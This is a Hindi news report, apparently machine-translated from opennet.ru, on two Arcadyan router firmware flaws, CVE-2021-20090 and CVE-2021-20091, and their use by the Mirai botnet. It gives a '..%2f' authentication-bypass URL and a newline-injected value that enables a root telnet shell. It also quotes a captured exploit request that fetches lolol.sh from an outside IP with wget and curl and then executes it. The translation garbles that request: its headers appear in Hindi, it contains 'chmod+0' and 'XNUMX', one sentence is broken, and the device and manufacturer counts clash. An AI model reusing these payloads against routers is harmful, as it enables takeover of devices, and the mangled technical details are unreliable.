होम राउटर्स में भेद्यता 17 निर्माताओं को प्रभावित कर रही है

होम राउटर्स के खिलाफ नेटवर्क पर एक बड़ा हमला दर्ज किया गया है जिसका फर्मवेयर अर्काडियन कंपनी के HTTP सर्वर कार्यान्वयन का उपयोग करता है। उपकरणों पर नियंत्रण पाने के लिए, दो कमजोरियों के संयोजन का उपयोग किया जाता है जो रूट अधिकारों के साथ मनमाने कोड के दूरस्थ निष्पादन की अनुमति देता है। समस्या अर्काडियन, एएसयूएस और बफ़ेलो के एडीएसएल राउटरों की काफी विस्तृत श्रृंखला को प्रभावित करती है, साथ ही बीलाइन ब्रांडों (स्मार्ट बॉक्स फ्लैश में समस्या की पुष्टि की गई है), डॉयचे टेलीकॉम, ऑरेंज, ओ2, टेलस, वेरिज़ोन, वोडाफोन और के तहत आपूर्ति किए गए उपकरणों को भी प्रभावित करती है। अन्य दूरसंचार ऑपरेटर। यह ध्यान देने योग्य है कि समस्या आर्केडियन फर्मवेयर में 10 वर्षों से अधिक समय से मौजूद है और इस दौरान 20 विभिन्न निर्माताओं से कम से कम 17 डिवाइस मॉडल में स्थानांतरित होने में कामयाब रही है।

पहली भेद्यता, CVE-2021-20090, प्रमाणीकरण के बिना किसी भी वेब इंटरफ़ेस स्क्रिप्ट तक पहुँचना संभव बनाती है। भेद्यता का सार यह है कि वेब इंटरफ़ेस में, कुछ निर्देशिकाएं जिनके माध्यम से छवियां, सीएसएस फ़ाइलें और जावास्क्रिप्ट स्क्रिप्ट भेजी जाती हैं, प्रमाणीकरण के बिना पहुंच योग्य हैं। इस मामले में, जिन निर्देशिकाओं के लिए प्रमाणीकरण के बिना पहुंच की अनुमति है, उन्हें प्रारंभिक मास्क का उपयोग करके जांचा जाता है। मूल निर्देशिका में जाने के लिए पथों में "../" वर्ण निर्दिष्ट करना फ़र्मवेयर द्वारा अवरुद्ध है, लेकिन "..%2f" संयोजन का उपयोग करना छोड़ दिया गया है। इस प्रकार, "http://192.168.1.1/images/..%2findex.htm" जैसे अनुरोध भेजते समय संरक्षित पेज खोलना संभव है।

दूसरी भेद्यता, CVE-2021-20091, एक प्रमाणित उपयोगकर्ता को apply_abstract.cgi स्क्रिप्ट में विशेष रूप से स्वरूपित पैरामीटर भेजकर डिवाइस की सिस्टम सेटिंग्स में बदलाव करने की अनुमति देता है, जो पैरामीटर में एक न्यूलाइन वर्ण की उपस्थिति की जांच नहीं करता है। . उदाहरण के लिए, पिंग ऑपरेशन करते समय, एक हमलावर आईपी पते की जांच के साथ फ़ील्ड में "192.168.1.2%0AARC_SYS_TelnetdEnable=1" मान निर्दिष्ट कर सकता है, और सेटिंग्स फ़ाइल /tmp/etc/config/ बनाते समय स्क्रिप्ट निर्दिष्ट कर सकता है। .glbcfg, इसमें "AARC_SYS_TelnetdEnable=1" लाइन लिखेगा, जो टेलनेट सर्वर को सक्रिय करता है, जो रूट अधिकारों के साथ अप्रतिबंधित कमांड शेल एक्सेस प्रदान करता है। इसी प्रकार, AARC_SYS पैरामीटर सेट करके, आप सिस्टम पर किसी भी कोड को निष्पादित कर सकते हैं। पहली भेद्यता किसी समस्याग्रस्त स्क्रिप्ट को "/images/..%2fapply_abstract.cgi" के रूप में एक्सेस करके प्रमाणीकरण के बिना चलाना संभव बनाती है।

कमजोरियों का फायदा उठाने के लिए, एक हमलावर को उस नेटवर्क पोर्ट पर अनुरोध भेजने में सक्षम होना चाहिए जिस पर वेब इंटरफ़ेस चल रहा है। हमले के प्रसार की गतिशीलता को देखते हुए, कई ऑपरेटर समर्थन सेवा द्वारा समस्याओं के निदान को आसान बनाने के लिए बाहरी नेटवर्क से अपने उपकरणों तक पहुंच छोड़ देते हैं। यदि इंटरफ़ेस तक पहुंच केवल आंतरिक नेटवर्क तक सीमित है, तो "डीएनएस रीबाइंडिंग" तकनीक का उपयोग करके बाहरी नेटवर्क से हमला किया जा सकता है। राउटर्स को मिराई बॉटनेट से कनेक्ट करने के लिए कमजोरियों का पहले से ही सक्रिय रूप से उपयोग किया जा रहा है: POST /images/..%2fapply_abstract.cgi HTTP/1.1 कनेक्शन: बंद करें यूजर-एजेंट: डार्क एक्शन=स्टार्ट_पिंग&सबमिट_बटन=पिंग.html& एक्शन_परम्स=ब्लिंक_टाइम%3D5&ARC_ping_ipaddress=212.192.241.7। 0%1ए ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; कर्ल+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

स्रोत: opennet.ru